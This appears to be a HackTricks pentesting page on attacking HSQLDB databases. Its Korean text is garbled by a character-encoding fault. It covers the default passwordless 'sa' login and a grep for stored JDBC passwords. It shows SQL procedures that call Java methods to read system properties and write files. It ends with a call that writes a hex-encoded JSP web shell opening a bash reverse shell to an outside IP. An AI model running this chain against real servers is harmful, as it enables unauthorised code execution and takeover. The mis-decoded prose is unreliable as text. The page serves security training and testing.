{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} # ๊ธฐ๋ณธ ์ •๋ณด **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**๋Š” Java๋กœ ์ž‘์„ฑ๋œ ์ฃผ์š” SQL ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ ๋‚ด ๋ฐ ๋””์Šคํฌ ๊ธฐ๋ฐ˜ ํ…Œ์ด๋ธ”์„ ์ง€์›ํ•˜๋ฉฐ, ๋‚ด์žฅ ๋ฐ ์„œ๋ฒ„ ๋ชจ๋“œ๋ฅผ ์ง€์›ํ•˜๋Š” ์ž‘๊ณ  ๋น ๋ฅธ ๋‹ค์ค‘ ์Šค๋ ˆ๋“œ ๋ฐ ํŠธ๋žœ์žญ์…˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—”์ง„์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # ์ •๋ณด ### ๊ธฐ๋ณธ ์„ค์ • ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ์„œ๋น„์Šค๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ localhost์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๋ฉด, ์•„๋งˆ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์—†๋Š” `sa`์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ–ˆ๋‹ค๋ฉด, ๊ฐ€๋Šฅํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฒ€์ƒ‰ํ•˜์‹ญ์‹œ์˜ค. ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Note the database name carefully - youโ€™ll need it to connect. # Info Gathering DB ์ธ์Šคํ„ด์Šค์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด [HSQLDB ๋‹ค์šด๋กœ๋“œ](https://sourceforge.net/projects/hsqldb/files/) ํ›„ `hsqldb/lib/hsqldb.jar`๋ฅผ ์ถ”์ถœํ•˜์„ธ์š”. `java -jar hsqldb.jar`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GUI ์•ฑ \(eww\)์„ ์‹คํ–‰ํ•˜๊ณ  ๋ฐœ๊ฒฌ๋œ/์•ฝํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์Šคํ„ด์Šค์— ์—ฐ๊ฒฐํ•˜์„ธ์š”. ์›๊ฒฉ ์‹œ์Šคํ…œ์˜ ๊ฒฝ์šฐ ์—ฐ๊ฒฐ URL์€ ๋‹ค์Œ๊ณผ ๋น„์Šทํ•˜๊ฒŒ ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค: `jdbc:hsqldb:hsql://ip/DBNAME`. # Tricks ## Java Language Routines HSQLDB์—์„œ Java Language Routines๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Java ํด๋ž˜์Šค์˜ ์ •์  ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธ์ถœ๋œ ํด๋ž˜์Šค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋ž˜์Šค ๊ฒฝ๋กœ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. JRT๋Š” `functions` ๋˜๋Š” `procedures`์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•จ์ˆ˜๋Š” Java ๋ฉ”์„œ๋“œ๊ฐ€ ํ•˜๋‚˜ ์ด์ƒ์˜ SQL ํ˜ธํ™˜ ๊ธฐ๋ณธ ๋ณ€์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ SQL ๋ฌธ์„ ํ†ตํ•ด ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `VALUES` ๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ํ˜ธ์ถœํ•˜๋ ค๋Š” Java ๋ฉ”์„œ๋“œ๊ฐ€ void๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ, `CALL` ๋ฌธ์œผ๋กœ ํ˜ธ์ถœ๋˜๋Š” ํ”„๋กœ์‹œ์ €๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ## Reading Java System Properties ํ•จ์ˆ˜ ์ƒ์„ฑ: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` ํ•จ์ˆ˜ ์‹คํ–‰: ```text VALUES(getsystemproperty('user.name')) ``` You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## ํŒŒ์ผ์— ๋‚ด์šฉ ์“ฐ๊ธฐ JDK์— ์œ„์น˜ํ•œ `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ •์˜ ํ”„๋กœ์‹œ์ €๋ฅผ ํ†ตํ•ด 16์ง„์ˆ˜ ์ธ์ฝ”๋”ฉ๋œ ํ•ญ๋ชฉ์„ ๋””์Šคํฌ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์ตœ๋Œ€ ํฌ๊ธฐ๋Š” 1024 ๋ฐ”์ดํŠธ์ž…๋‹ˆ๋‹ค**. ํ”„๋กœ์‹œ์ € ์ƒ์„ฑ: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` ํ”„๋กœ์‹œ์ € ์‹คํ–‰: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง€์›ํ•˜๊ธฐ * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * **๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŒ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
{% endhint %}